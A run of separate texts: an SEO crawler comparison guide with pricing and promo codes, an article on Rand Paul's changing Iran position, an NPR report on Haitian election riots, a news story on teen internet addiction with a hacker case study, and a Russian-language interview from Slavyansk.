£25 + VAT per month per user. Every additional license costs £5 + VAT – a mere 20% of the price. Sitebulb also offers a Lite plan for £10 + VAT per month – this plan is ideal for freelancers or website owners.
By visiting https://sitebulb.com/onely you can get an exclusive offer, a 60-day free trial.
Sitebulb is a relatively new tool on the market, but it has been warmly received by the SEO community. Personally, I really like Sitebulb’s visualizations:
Because of the fact that Sitebulb is a desktop-based crawler software, you can’t just share a report with your colleagues while doing an SEO audit. You can partially work around this by exporting a report to PDF. Once you click on the “Export” button, you will see a 40-page document, full of charts, presenting the most important insights. You can also copy your crawls and work on them with your team across several instances.
The PDF reports are highly customizable. You can select the aspects of the crawl data that you want to highlight in a report that you export.
Crawl maps
Sitebulb’s crawl maps are a uniquely useful feature. These maps can help you understand your website’s structure, discover internal link flow, and spot groups of orphan pages.
Notable features of the Sitebulb SEO Crawler:
Performance statistics like First Meaningful Paint (helpful for website speed optimization).
List mode (like in Screaming Frog).
Schema + Rich Results validation.
Code coverage report (unused CSS, JS – helpful for website speed optimization).
Multi-level filtering, like in Ryte, Botify, OnCrawl, and DeepCrawl.
AMP validation.
Integration with Google Sheets, Google Analytics and Google Search Console.
Link Explorer.
Crawling JavaScript websites (Sitebulb uses Chrome Evergreen).
Sitebulb is the only desktop crawler that has the crawl comparison feature.
Advanced content extractor.
Sitebulb’s main drawbacks:
Sitebulb doesn’t inform you about H2 tags.
As a Big Data fan, I’d like to be able to export all internal links to a CSV/Excel file. Screaming Frog offers that feature. However, Sitebulb’s summaries and visualizations are probably more than enough for most SEOs.
If Sitebulb encounters an error while retrieving a page, it will not be recrawled.
I can do only one crawl at a time; other crawls are added to the queue.
I believe in the case of Sitebulb the pros outweigh the cons. By the way, you can suggest your own ideas directly to the Sitebulb team by submitting them through https://features.sitebulb.com/. It seems many interesting features like crawl scheduling, and data scraping are going to be implemented in the near future. I’m keeping my fingers crossed for the project.
Checklist for Sitebulb.
Pricing
WebSite Auditor is available for free and in two paid editions. The paid editions (Pro for 124$/year, and Enterprise for 299$/year) not only offer convenient maintenance and report sharing features, but also allow you to crawl over 500 URLs and store multiple projects in the cloud. The 500 URLs limit of the free version makes it a good choice for freelancers and website owners.
If you use our referral links at WebSite Auditor Enterprise or WebSite Auditor Professional, you will get 10% off at checkout.
WebSite Auditor gives you information about status codes, click depth, incoming/outgoing links, redirects, 404 pages, word count, canonicals, and pages restricted from indexing. You can then easily integrate the crawl data with Google Search Console and Google Analytics. As with Screaming Frog, for every URL you can see a list of inbound links (including their anchors and source). Also, you can easily export these data in bulk.
Notable features of the WebSite Auditor SEO Crawler:
Website structure visualization. WebSite Auditor lets you visualize the internal structure of your website: Click depth, Internal Page Rank, and Pageviews (available through integration with Google Analytics). To my knowledge, Sitebulb, FandangoSEO, and WebSite Auditor are the only crawlers on the market that offer this feature.
Content analysis. WebSite Auditor provides a module dedicated to basic content analysis. It checks if the targeted keywords are used in the title, body, and headers. In addition, this module calculates the TF-IDF score for a page.
WebSite Auditor’s unique function is the ability to look into Google index to find orphan pages.
To do this, you have tick the “Search for orphan pages’ option while setting up a crawl.
WebSite Auditor’s main drawbacks:
You can’t limit the number of URLs to be crawled, however, you can specify a maximum crawl depth.
You can’t compare the data between different crawls.
Although WebSite Auditor supports advanced filtering for reports, it doesn’t support regular expressions.
Checklist for WebSite Auditor.
Pricing
Netpeak Spider is available in three pricing options – a Standard plan for $19/month, a Pro plan for $39/month, and a Premium plan for $99/month. You get a 20% discount if you buy a license for a year. The Standard plan doesn’t offer the multi-domain crawling feature and doesn’t provide the extensive customer support that the Pro and Premium plans include.
Use the promo code: ca480e7f to get a 10% discount for one year on purchasing Netpeak Spider and Netpeak Checker!
Netpeak Spider was not analyzed in the initial release of the Ultimate Guide to SEO Crawlers, however, the list of improvements introduced in the recently released versions is quite impressive, so I just had to test it.
Speed improvements
First of all, according to Netpeak’s representatives, Netpeak Spider 3.0 consumes ~4 times less memory when compared to the 2.1 version. I don’t have the statistics on the most recent version though.
Notable Netpeak Spider features:
Custom segmentation.
JavaScript rendering.
You can pause a crawl and resume it later or run it on another computer . For instance, if you see a crawl consumes too much RAM, you can pause it and move the files to a machine with a bigger capacity.
Integration with Google Analytics and Google Search Console.
You can rescan a list of URLs to check if the issues were fixed correctly.
A dashboard that summarizes the most important insights.
NetPeak shows the list of the most popular URL segments.
Integration with Google Drive for better report sharing.
Custom Segmentation
My favorite feature of Netpeak Spider is data segmentation. To my knowledge, Netpeak Spider is the only desktop crawler that has implemented it.
With data segmentation, you can quickly define segments (clusters of pages) and see reports related to these segments only.
Custom segmentation is definitely a great feature, however, I miss the ability to see a segment overview report like those offered by cloud crawlers like Botify, FandangoSEO, and OnCrawl. In the screenshot from FandangoSEO below, you can see the page type breakdown when viewing the dashboard, which provides a great overview of segments.
Netpeak Spider’s main drawbacks:
Although Netpeak introduced a visual dashboard (which is fine), it still lacks the data visualization features of some other tools.
NetPeak Spider works only on Windows. If you are a Mac or Linux user, you can’t use the tool.
Cloud Crawlers
Let’s move on to the cloud crawlers: DeepCrawl, OnCrawl, Ryte, and Botify.
Disclaimer: at Onely, we primarily use DeepCrawl and Ryte. We did our best to remain unbiased. The crawlers are presented alphabetically.
Pricing
Botify doesn’t disclose its pricing on the website. Three plans are mentioned and it’s stated that pricing is flexible and adjusted according to your needs.
Botify is an enterprise-level crawler. Its client list is impressive: Airbnb, Zalando, Gumtree, Dailymotion.
Botify offers many interesting features. I think it’s the most complex, but also the most expensive of all crawlers listed.
Notable features of the Botify SEO Crawler
Botify has the ability to filter reports and dashboards by segments.
Let’s imagine you have three sections on your website: /blog, /products, and /news. Using Botify, you can easily filter reports to see the data related only to product pages.
For every filter, you can see a dedicated chart (there are 35 charts in the library across several categories). This is pretty impressive.
You can install the Botify addon for Chrome and see insights directly from the browser. Just navigate to a particular subpage of a crawled website and you will see the b asic crawl stats, a sample of internal links, URLs with duplicate metadata (description, H1 tags), and URLs with duplicate content.
Botify stores the HTML code for every crawled page. It allows for monitoring content changes across crawls.
Botify allows for server log analysis and JavaScript crawling; however, like in the case of OnCrawl, it’s not included in the basic subscription plan.
Botify offers a helpful knowledge base and webinars showing how to use their features.
Checklist for Botify.
Pricing
DeepCrawl doesn’t have a fixed price plan – you should get in touch with their sales team to start using the crawler.
DeepCrawl is a popular, cloud-based crawler. At Onely, we use it on a regular basis (along with Ryte and Screaming Frog).
We really like DeepCrawl, but one of the biggest drawbacks of it is that you can’t add additional columns to a report. Let’s say I am viewing a report dedicated to status codes and then I would like to see some additional data: canonical tags. I simply can’t do it in DeepCrawl. If I want to see the canonicals, I have to switch to the canonical report. For me, it’s an important feature that’s missing. However, I am pretty sure they will catch up shortly. I do believe that in the case of DeepCrawl, the pros outweigh the cons.
Notable DeepCrawl features:
JavaScript rendering.
Logfile integration.
Integration with Majestic SEO.
Integration with Zapier.
Stealth mode (the user agent, the IP address is randomized within a crawl; helpful for crawling websites with restricted crawling policy).
Integration with Google Search Console and Google Analytics.
Crawl scheduling.
Checklist for DeepCrawl.
Pricing
OnCrawl offers a free 14-day trial that lets you see if it’s the right crawler for your needs.
The paid plans include Explorer at €49/month, Enterprise at €199/month, and Ultimate at €399/month. The plans differ in the number of domains you can monitor, the number of URLs you can crawl per month, and the number of simultaneously running crawls. There’s also the Infinite&Beyond custom plan for large agencies and enterprise clients.
Using the “Onely-OnCrawlTR2020” promo code, you can get a discount when buying OnCrawl!
Notable OnCrawl features:
A unique near-duplicate detection feature – you can filter a list of URLs by similarity ratio.
Being able to integrate crawl data with any other data in a CSV file. Note: Botify offers a similar feature for some of its clients. FandangoSEO recently added this feature as well.
URL segmentation – l et’s say you view a list of non-indexed URLs. You can easily use URL segmentation to see only the blog or product pages within that list.
Excellent hreflang reporting.
Crawl scheduling.
Integration with Google Analytics and Google Search Console
Creating custom dashboards. You can easily add or remove charts to a custom-built dashboard. OnCrawl provides a library of charts to choose from.
Page groups.
OnCrawl’s drawbacks:
OnCrawl lacks the ability to filter crawled URLs by regular expressions.
It doesn’t come with a list of detected SEO issues by default. You can work around this by clicking on the Dashboard builder -> Onsite Issues.
Checklist for OnCrawl.
Ryte is a very popular web-based crawler. We use it regularly alongside Screaming Frog and Deepcrawl and we’re Ryte’s Solution Partners.
Pricing
You can try a basic, limited version of Ryte for free. If you want to upgrade your account to access the full spectrum of Ryte’s features, you’ll have to contact the team at Ryte to get an offer that’s adjusted to your needs.
Notable Ryte features:
Excellent general reporting. On a single dashboard, I can see a list of all the detected SEO issues.
Ryte integrates with Google Search Console and Google Analytics.
Server uptime monitoring. Ryte checks if your server is up and running by pinging it regularly.
Robots.txt monitoring. This amazing feature checks if there were any changes made to your robots.txt file – just in case a mistake was made.
A vast knowledge base.
Ryte now supports JavaScript crawling.
Server log analysis.
If you want to re-run an active crawl, you won’t be charged again.
Ryte’s drawbacks:
Ryte’s user interface may feel clunky at times.
Checklist for Ryte.
Audisto is a crawler that’s popular mainly in German-speaking countries.
Pricing
You can use just the Audisto Crawler (starting at 90€/month with a limit of 100k crawled URLs, the price goes up with the number of URLs crawled) or Audisto Monitoring, an extended service that includes additional features, such as regex, XPath, or conditional filtering (starting at €590/month, also growing in price with the number of URLs crawled).
Notable features of the Audisto SEO Crawler
You can split lists of issues by category, like Quality, Canonical, Hreflang, or Ranking .
You can create URL clusters based on filters and see reports and charts related only to those clusters. Many crawlers offering this a feature require you to have knowledge about Regular expressions. Audisto is a bit different in that; you can define patterns in the same way you define “traditional” filters. Additionally, you can even add comments when adding a cluster, which may be helpful for future reviews or when many people work on the same crawl.
Easy and straightforward crawl comparison.
Bot vs User Experience. Audisto detects if users get a similar experience to Googlebot and even provide a chart to visualize the difference.
Monitoring issues. For every issue listed in the Hint section (Current monitoring -> Onpage -> Hints) you can see the trendline:
Extensive PageRank reporting.
Disadvantages of Audisto:
You can’t add additional columns to a report (however, reports contain a lot of KPIs and this should be improved in the next iteration of their software).
The URL filtering is rather basic. However, you can partially work around this by using custom segmentation.
Audisto doesn’t offer custom extraction.
It doesn’t integrate with Google Analytics, or Google Search Console and server logs.
Pricing
JetOctopus is offering a wide range of pricing configurations, but to get the most out of the tool, you should go for the all-inclusive option, starting at $89/month with a limit of 100k crawled pages.
Using the “Onely” promo code, you can get a 10% discount for Jet Octopus.
JetOctopus is a relatively new tool in the market of cloud crawlers. They divide SEO issues into eight categories:
Indexing Technical HTML Content Links Sitemap Internal Links External links
JetOctopus offers nice visualizations of the issues detected during the crawl.
Notable features of the JetOctopus SEO Crawler
Custom segmentation. JetOctopus allows you to define a new segment, which is very easy to use. You just set the proper filter and click on “Save segment” and you don’t need to be familiar with Regular expressions.
Then, you can filter reports to predefined segments.
A great log file analysis feature
Linking explorer. It lets you easily see the most popular anchors of links pointing to a page or group of pages.
Also, it shows the most popular directories linking to a page.
Here’s where page segments come in handy. You can quickly switch segments to see only the stats related to links coming from particular segments (i.e from blog or product pages).
JetOctopus’s drawback:
No JavaScript crawling.
FandangoSEO is a Spanish crawler, and the name comes from the lively Spanish dance.
Pricing
FandangoSEO is available in three “sizes”, depending on the number of projects and pages you want to crawl. Starting at $59/month, the S plan lets you conduct 10 projects and crawl 150k pages per month. The M plan, at $177/month, allows you to set up 50 projects and crawl 600k pages. Finally, the L plan comes with 100 projects and 1,8m crawled pages.
Like many other cloud tools, FandangoSEO offers good visualizations.
Notable features of the FandangoSEO Crawler
Integration with server logs at no cost. FandangoSEO integrates with server logs (and like with DeepCrawl, you don’t need to pay extra for it). You can upload logs once or periodically (using their interface or FTP).
Custom segmentation. Similarly to Botify, OnCrawl, or JetOctopus, FandangoSEO lets you define custom segments.
You can also see some reports based on the segments that you set up.
Schema.org markup detection. Y ou can easily see which URLs don’t have any markup implemented.
Crawling your competitors’ websites. FandangoSEO lets you compare data between various projects, which makes it possible to crawl your competitor’s website.
Architecture maps. Similarly to Sitebulb and Website Auditor, you can see the architecture map with FandangoSEO.
Integrate crawls with any data.
FandangoSEO disadvantages:
Additional columns can’t be added to reports.
It doesn’t integrate with Google Analytics and Google Search Console.
Pricing
ContentKing offers three fixed plans as well as an enterprise plan. These plans differ greatly when it comes to the features they offer, ranging from technical possibilities to maintenance and data retention.
The fixed plans are: Basic at $39/month, Standard at $89/month, and Pro at $149/month.
Notable features of the ContentKing SEO Crawler
Real-time monitoring, change tracking and alerting. ContentKing is a unique crawler on the market since it is a real-time monitoring tool. It informs you in detail about things like on-page SEO changes, robots.txt changes, indexability issues, pages that got redirected, etc. Alerts are sent out if there are big changes or serious issues on your website. According to ContentKing’s representatives, the internal algorithm takes into account the impact of the changes/issues and the importance of the pages involved and then decides whether or not to send out alerts.
ContentKing is a unique crawler on the market since it is a real-time monitoring tool. It informs you in detail about things like on-page SEO changes, robots.txt changes, indexability issues, pages that got redirected, etc. Alerts are sent out if there are big changes or serious issues on your website. According to ContentKing’s representatives, the internal algorithm takes into account the impact of the changes/issues and the importance of the pages involved and then decides whether or not to send out alerts. ContentKing checks for OpenGraph and Twitter card markup, and the presence of tag managers and analytics software such as Google Analytics, Adobe Analytics, or Mouseflow.
Advanced filter operators.
Slack integration.
Now it’s time to point out ContentKing’s disadvantages:
Filtering needs improvement. I need to be able to combine rules when filtering: “URL starts with X, contains Y, but doesn’t contain Z.”
When viewing a list of issues, I can’t add additional columns (that feature is available only when viewing a full list of crawled pages).
Cloud-based tools at no additional cost?
You might be using other SEO tools for things like competition analysis or keyword research. Many of these tools, like SEMrush, Ahrefs, Moz Pro, or Searchmetrics, are also able to run a crawl of your website!
These tools are not as advanced as dedicated cloud-based crawlers, but if you need to run a basic SEO audit, they do a good job.
The Ahrefs crawler (Site Auditor) is an integral part of Ahrefs Suite, a popular tool for SEOs. If you subscribe to Ahrefs (to use tools like the site explorer, content explorer, keywords explorer, rank tracker, etc.), you can use their crawler for free.
Ahrefs lets you easily filter the issues by importance (Errors, Warning, Notices).
For every issue, you can see if it’s new or if it was found in the previous crawl too.
Ahrefs’ advantage over other crawlers in its segment (Ahrefs/Moz/SEMRush) is that you can add additional columns to an existing report. You can also see which URLs are in the sitemap and which are not. It does have some limitations, though. It doesn’t integrate with GSC and GA. Similarly to Moz and SEMRush, you can’t share the crawl results with your colleagues, so only one person can work on the crawl at a time.
You can get around this limitation, though. If you use a single Ahrefs account within your agency, you can work simultaneously on the same crawl. The risk that you will be logged out is minimal.
Ahrefs recently released a new feature in their crawler. It’s called “Site Structure” and shows the distribution of HTTP codes, depths, content types, etc. across the website’s subfolders and subdomains.
Depending on the Ahrefs plan you have, you can crawl 10k-2.5kk URLs.
Checklist for Ahrefs.
The Moz crawler is an integral part of Moz Pro.
On the one hand, this crawler lacks many functions and features that other crawlers support. On the other hand, it’s part of Moz Pro. So if you subscribe to Moz Pro, you can use the crawler for free. In addition to that, this crawler provides a few unique features like marking an issue as fixed.
Moz crawler integrates with Google Analytics, but it lacks integration with Google Search Console.
I appreciate it that Moz provides a decent explanation for the detected issues.
It’s useful that the Moz crawler is integrated with other Moz tools and that you can see parameters like Page Authority and Domain Authority directly in the crawl data.
Other interesting features offered by the Moz crawler are the “Mark as fixed” and “Ignore” features. I think the Moz documentation explains it pretty well (emphasis mine):
“The tool is designed to flag all these issues so you can decide whether there’s an opportunity to improve your content. Sometimes you just know that you’ve fixed an issue, or you’ve checked that you’re happy with that page and it’s not something you’re going to fix. You can mark these issues are Fixed or Ignore them from your future crawls.”
Unfortunately, there are no reports related to hreflang tags and the URL filtering is rather basic. If you want to perform some analysis related to orphan pages, it’s very limited – you can’t see the list of pages with less than x links incoming. Also, you can’t see which URLs are found in sitemaps but were not crawled.
Since August 2018, the Moz crawler offers an On-Demand crawl, so you can crawl project outside of your Moz Pro Campaigns.
In my opinion, Moz is enough for basic SEO reports, however, I wouldn’t use it for advanced SEO audits. Its main competitors, Ahrefs and SEMRush, are much more advanced.
Checklist for Moz.
SEMrush is a well-known tool for competitor research. But it also allows you to crawl your website.
SEMRush is quite good at spotting basic SEO issues. When you go to the Issues tab, you will see all the detected SEO issues listed on a single dashboard. SEMRush divides the issues by importance (Errors/Warnings/Notices) and for every issue, you can see the trend so that you can immediately spot if the issue is new. Like the Moz crawler, SEMRush integrates with Google Analytics. The main drawback of SEMrush is poor filtering. That’s an area where SEMRush simply needs to catch up.
Let’s say you want to see the no-indexed pages. You go to Site audit -> Issues -> blocked from crawling. Unfortunately, this report shows you not only the no-indexed pages but also the ones disallowed by robots.txt, and you can’t filter the results.
I really miss the ability to add a column with additional data.
If you need to create a basic SEO audit for a small website, SEMrush would be fine, but you can’t use it for large websites. The SEMrush crawler only allows for crawling up to 20k URLs per crawl.
Checklist for SEMrush
Should you buy a dedicated crawler?
As I mentioned before, you have access to a free crawler if you have an active account for Searchmetrics, Ahrefs, MOZ, or SEMRush. Check if these tools are enough for your SEO audits. If they are, you can use them and save money.
I noticed an emerging trend that many SEO tools are adding an SEO crawler feature to their toolkit. For instance, Clusteric, primarily made for link auditing and competitor analysis, now offers an SEO crawler feature. So the list of SEO tools that offer a crawler on the side is probably going to expand in the near future.
Which SEO Crawlers support JavaScript?
Nowadays, an increasing number of websites use JavaScript. Crawlers try to adapt so they have started supporting JavaScript. The obvious question is: which of the crawlers support JavaScript crawling?
Crawler Support for JavaScript crawling DeepCrawl Yes (it’s included in Corporate plans. For smaller packages: Starter and Consultant: price upon request) Screaming Frog Yes Sitebulb Yes Ryte Yes (available in the Business Suite) Moz No Ahrefs Yes (for Advanced and agency plans) Botify Yes (it’s not included in basic plans) OnCrawl Yes (it cost 3x more credits) Searchmetrics Yes (it costs 2x more credits) Website Auditor Yes NetPeak Spider Yes
Which SEO Crawler is the Best?
There is no single best crawler. Everything depends on your needs, expectations, and budget.
I can, however, list the issues you should take into consideration when choosing a crawler to pay for.
The Perfect Crawler:
Stores the crawl data forever.
Is reasonably priced.
Should have a crawling limit that lets you crawl all the websites you need to (if you need a crawler for your SEO agency, think 1 million URLs/month at the very least).
Has website structure visualization
Integrates with any data.
Easily integrates with server logs, Google Analytics, and Google Search Console.
Lets you easily share the crawl with your clients and colleagues (cloud crawlers are typically much better at this).
Can show you a list of near-duplicates.
Groups your pages by categories.
Can crawl JavaScript websites.
Allows for exporting data to CSV/Excel even if there are millions of rows to export.
Provides a list of all detected issues on a single dashboard.
Lets you see which URLs are orphans (not found while crawling, but placed in the sitemap).
Lets you compare two crawls to see if things are going in the right direction.
Lets you easily add columns with additional data to existing reports.
Is the one that satisfies your needs!
Disclaimer: Things I was not able to test
Although I did my best, I was not able to test everything. Some examples include:
Does a crawler have maintenance errors? Maybe it often crashes, not allowing you to finish a large crawl? Maybe. Even if I noticed it, I can’t be sure if it’s constant or just temporary. So, I did not mention it.
Are the reports provided by a crawler enough for most use cases? Are reports thorough and in-depth?
Now it’s your turn!
My job is over. Now, it’s up to you!
Choose a crawler, research its features, ask for a trial, and test it – see if it fits your needs. Push it to its limits, integrate it with any data you have, and test it.
Remember: it’s common that some advanced features are only available with Pro subscriptions. Before purchasing, make sure the plan you’re buying gets you all the features you need.
Wrapping up
Have fun and good luck! If you have any questions, feel free to reach out.
If you’re a crawler representative, and you have recently updated your crawler, let me know what needs changing in the article.
Thank you to all the crawler representatives that helped me with creating this article.
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In 2007, Rand Paul gave his first interview to Alex Jones, the conspiracy theorist radio host and founder of Infowars.com.
Paul was helping his father, then-Congressman Ron Paul, campaign for the Republican presidential nomination and, Jones said, the entirety of his audience helped to make up the elder Paul’s base of fervent supporters.
Jones was struck by the younger Paul’s similarity to his father. “You know, talking to you, you sound so much like your dad,” Jones said. “This is great! We have, like, a Ron Paul clone!”
When Jones noted that the elder Paul was the only anti-war candidate, Rand replied, “I tell people in speeches, I say you know, we’re against the Iraq war, we have been since the beginning, but we’re also against the Iran war—you know, the one that hasn’t started yet. You know, the thing is I think people want to paint my father into some corner, but if you look at it, intellectually, look at the evidence that Iran is not a threat.”
As evidence of this, he said, you needn’t look further than the fact that
“Iran cannot even refine their own gasoline.”
And further, Paul said, “even our own intelligence community consensus opinion now is that they’re not a threat. My dad says, they don’t have an air force! They don’t have a navy! You know, it’s ridiculous to think that they’re a threat to our national security. It’s not even that viable to say they’re a threat to Israel. Most people say Israel has 100 nuclear weapons.”
Eight years later, Paul’s beliefs are very different.
In response to the agreement reached Tuesday between Iran, the United States, the UK, France, China, Russia and Germany to diminish Iran’s nuclear program, Paul, now the junior Senator from Kentucky and candidate for the Republican presidential nomination, released a statement outlining his opposition.
“The proposed agreement with Iran is unacceptable for the following reasons:
1) sanctions relief precedes evidence of compliance
2) Iran is left with significant nuclear capacity
3) it lifts the ban on selling advanced weapons to Iran
I will, therefore, vote against the agreement. While I continue to believe negotiations are preferable to war, I would prefer to keep the interim agreement in place instead of accepting a bad deal.”
Asked how Paul’s position had shifted so dramatically since he was campaigning for his father, Doug Stafford, his senior campaign adviser, said, “Foreign policy should reflect events and events change. Senator Paul has always thought Iran getting a nuclear weapon was a bad idea and dangerous. But over the last eight years, as Iran has made progress in their nuclear enrichment program, it’s become more of a threat. Not allowing your opinions to reflect changing threats would be foolish.”
But it’s just frankly not true, as the Alex Jones interview demonstrates.
What is true is that the Iran deal places Paul in an impossible bind. Paul’s positions are usually so nuanced that they escape criticism of flip-flopping, but his shift on Iran is unusually clear—even if it was gradual.
Whether compromise is a wise strategy for Paul in the primary is uncertain. Paul is currently polling at 6.6 percent—behind Jeb Bush, Donald Trump, Scott Walker, Marco Rubio, Ben Carson and Mike Huckabee. Paul is not going to vault back into the top tier by siphoning off votes from more establishment candidates, whose supporters will never buy him as one of their own. And he won’t mobilize his libertarian base by taking them for granted.
In April, reporter David Weigel, outlined in detail Paul’s transformation for Bloomberg Politics. In 2011, while in the Senate, Paul was still vocally opposed to war, telling reporter Zaid Jilani he wanted to “influence” Iran instead. In 2012, while again campaigning for his father, he reiterated their anti-war position while clarifying that Ron Paul “doesn’t want Iran to nuclear weapons…But should they get nuclear weapons, he thinks that there are some choices.” A few weeks later, Paul explained to CNN that when it came to preventing Iran from obtaining nuclear weapons, “I did finally come down to the conclusion that doing something was better than doing nothing.”
By 2013, Paul was saying that “the most pressing issue of the day” was how to contend with Iran’s nuclear program, and said that although he still did not want war, if he were in the White House while a deal collapsed, “I would say all options are on the table, and that would include military.”
Back in March, Paul was faced with a choice: sign the open letter penned by his Senate colleague, Tom Cotton, which Cotton explicitly said was designed to halt negotiations, or be the only presidential contender in the Senate to not sign it, and risk losing support in the fallout.
Despite the fact that Paul had maintained—and continues to maintain—that he favors negotiations, he compromised and opted for the first choice, contorting himself uncomfortably in his effort to explain his decision and irking some of the longtime libertarian supporters he inherited from his father in the process.
He has pursued a similar strategy with the deal.
The Atlantic’s David Frum made what on its face felt like a reckless prediction on Tuesday: “The Rand Paul Candidacy for the Republican Nomination Is Over.” Frum’s case was that throughout the course of his short Senate career, Paul has been able to carve out space for himself within his party by mostly focusing on the issue of domestic surveillance, which comfortably placed him in opposition to the hawks he bemoans and to President Obama. The deal presented for Paul a no-win: Were he to support the deal, however, Frum argued, he would “find himself isolated with the old Ron Paul constituency,” but were he to oppose it, he would vanish amid a sea of similar voices in the primary field.
The best explanation for Paul’s new position may come from Paul himself.
In an interview with The Today Show’s Savannah Guthrie in April, the same day two attack ads were released tying him to Obama on the issue, Paul said, “2007 was a long time ago and events do change over long periods of time. We’re talking about a time when I wasn’t running for office, when I was helping someone else run for office.”
So when the facts change—be they the facts of the issue at hand or the facts of Paul’s personal political objectives—Paul changes his mind.
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'Streets Of Port-Au-Prince Are In Flames'
Enlarge this image toggle caption David Gilkey/NPR David Gilkey/NPR
Shots can be heard in the background as NPR's Jason Beaubien reported overnight from Port-au-Prince that the Haitian capital's streets were aflame.
Jason Beaubien, from Port-au-Prince
Fires are still smoldering this morning, Jason has since reported.
The Associated Press describes the scene this way:
"Furious supporters of eliminated candidates set fires and put up barricades in the streets of Haiti's capital after officials announced that government protege Jude Celestin and former first lady Mirlande Manigat would advance to a runoff in presidential elections."
The Miami Herald reports that "with concerns of more violence escalating, the international community was scheduled to meet Wednesday morning. The mood remained tense Wednesday and some streets throughout the capital were impassable because of barricades erected Tuesday night."
Many of those angered by the runoff announcement are supporters of Haitian musician Michel "Sweet Micky" Martelly. As the Herald notes: "Manigat, a longtime opposition leader, received 31.37 percent of the vote in Haiti's chaotic and highly contested Nov. 28 election; Celestin, former head of the government road building agency, 22.48 percent, and Martelly received 21.84 percent, election officials said."
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Israeli teens are addicted to surfing the web more than teens elsewhere around the globe, and almost twice as much as the runner-up, Slovenia, according to an international survey carried out by NASP, the Swedish National Center for Suicide Research and Prevention of Mental lll-Health.
The study collated data from 11,956 teenagers in 178 high schools from 11 countries as to their surfing habits, and used a psychiatric questionnaire to analyze possible addiction based on tests for identifying pathological betting addictions.
Of the 951 Israeli teenagers who participated in the survey, 100 - 11.8 percent - were diagnosed as pathological users of the Internet, indicating addiction. Slovenia was second among teenage addicts (5.8 percent ), before Estonia (5.3 percent ), Germany (4.8 percent ), Romania (4.6 percent ), Spain (4.3 percent ), Ireland (3.8 percent ), Austria (3.1 percent ), France (2.6 percent ), Hungary (1.6 percent ) and Italy (1.2 percent ). The results were published in the journal Addiction.
Internet Addiction Disorder is a psychiatrically defined phenomenon whose gravity and scope have only recently drawn the interest of professionals. Boys are more likely to be affected than girls. The results pointed out that most non-addicted surfers were online for a daily average of two hours, while surfers defined as pathological users spent an average of almost four hours surfing. Urban surroundings increased the risk of addiction by 40 percent, while unemployed parents raised the risk by 68 percent. Having parents who were hardly involved in the child's life raised the risk ratio by 2.14, and children living apart from their parents were three times as likely to develop IAD.
Oddly, teenagers in a relationship were also more likely (61 percent ) to become addicted.
Case study: addicted to hacking
A Turkish 16-year-old missed most of his 10th year of high school. Two years earlier he was still considered an outstanding student, but he soon began to spend more and more time on the web, eventually spending 20 hours a day online. His parents got rid of the computer and modem, but he refused to give up and began surfing from Internet cafes instead of attending school. Endless arguments with his father led the family to seek help at the psychiatric clinic at the Bagcilar hospital in Istanbul.
The staff, which documented the case, recalled that right from the start the patient was fully aware of his addiction. He told the staff that he belonged to a group of hackers whose mission was to bring down pornography websites and sites from enemy countries, and that he fulfilled such missions hundreds of times.
"He was completely disinterested in anything else apart from his mission and awaited new orders from the 'supreme hackers committee,'" the staff wrote.
When his father tried to deny him access to the Internet, he became furious and anxious, and told the staff he would abandon his family if his access to the web would continue to be limited.
His treatment included frequent interaction with his parents, talks with staff every two days for the first two weeks, and then weekly meetings for three months. The treatment included behavior assignments, physical workouts and the use of three different psychiatric pills. Staffers encouraged him to reoccupy himself with things that once held his interest, and gradually reduced his surfing hours.
Six weeks after beginning therapy, a behavioral improvement began, and six weeks later he could already surf the web without showing signs of addiction.
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Кто убивает мирных славянцев, почему оккупация Донбасса началась со Славянска, о секретах самопровозглашенного мэра Вячеслава Пономарева и пленницы Нели Штепы рассказал "Обозревателю" житель Славянска Владимир Панибратченко.
Он чудом унес ноги. Его дом разбомбили. Семья превратилась в беженцев. В день отъезда Владимира искали "вежливые зеленые человечки". Он успел побывать в подвале захваченного СБУ.
Владимиру 44 года, он инвалид 2 группы, создал общественную организацию "Комитет по борьбе с коррупцией , терроризмом, и организованной преступностью". Приспешника террористов Пономарева по старой памяти называет Славиком и утверждает, что отверг карьеру мэра-самозванца. Себя Владимир называет "не последним парнем на деревне Славянск". Обещает создать фонд помощи беженцам из разбомбленного города и после победы заниматься его восстановлением.
- Правда, что вас пытались завербоватьна роль самопровозглашеного мэра Славянска?
- Еще 5 марта в Славянске собирались водрузить триколор на здании горисполкома. К тому моменту с месяц по городу бегали в поисках "Правого сектора" алкоголики и наркоманы. Собирал их в так называемую городскую самооборону и курировал Пономарев. Готовилось нападение пономаревских наркоманов на горисполком. Сразу после побега Януковича наш мэр Неля Штепа и главный коммунист Славянска Анатолий Хмелевый написали письмо в Москву: "Путин, помоги, спаси нас". Мы собирали на них информацию, контактируя и с горотделом, и с СБУ. Узнали, что на 5 марта планируется сдача города РФ. Я поддерживал изначально идею "Витя, чао", а тут приехал к нам из Киева Олег Котенко (сотник и координатор самообороны Майдана. – Авт.), он тоже по нашему округу в 2012 году баллотировался, весь такой - в камуфляже, в косынке самообороны Майдана. Мы вместе с ним пошли к Штепе, и такой жути на нее нагнали, что она распорядилась срезать лестницы, ведущие на крышу исполкома (чтобы никто триколор не смог повесить).
Вечером 7 марта, я был дома, сидел за ноутбуком. На "Тойоте ландкрузер" приезжают люди. Зашел крепкий парень, которого я тогда еще не знал, а сейчас знаю – МММщик, бывший депутат из Курской области, был под арестом – Мурадов Алексей. Предложил 300 тыс грн., и 10% отката ему. Сказал, что это для старта и будут миллионы. Обосновал, что по 100-150 грн. на участника протестов.
- За что конкретно деньги – как было сформулировано?
- За организацию митингов под флагами России. Сказал, что денег будет, сколько потребуется. "Ставьте палатки, устраивайте митинги. Надо будет захватывать горотдел, горисполком". Я ответил, что флагами чужой страны размахивать нормальный человек не будет. Он вышел, а я сразу позвонил товарищу, предложил встретиться. Выхожу из дома, темно, а тут этот Мурадов. Вышел из машины, стал уговаривать: "Бояться не надо, у тебя денег лишних нет". Мы с ним шли, и машина ехала рядом. Из-за поворота выскочили двое и битами меня обработали (Владимир опускает голову и показывает большой шрам, затем поднимает штанину и на ноге показывает следы ранений. - Авт.). Кровища до сих пор на заборе, возле которого меня били - на въезде Гудованцева.
На фото: Владимир показывает последствия встречи с российским вербовщиком
- Кто такой этот Пономарев?
- Пенсионер, служил в Мурманске на флоте. Не бандит, не игроман, как о нем писали, и не алкаш, пивка разве попить. Последний раз, что мы общались – где-то год с лишним назад – он даже не курил. Ездил в Россию по каким-то делам, а жил в Славянске, на улице Искры, 2.
А в авантюру попал из-за своей любви к деньгам.
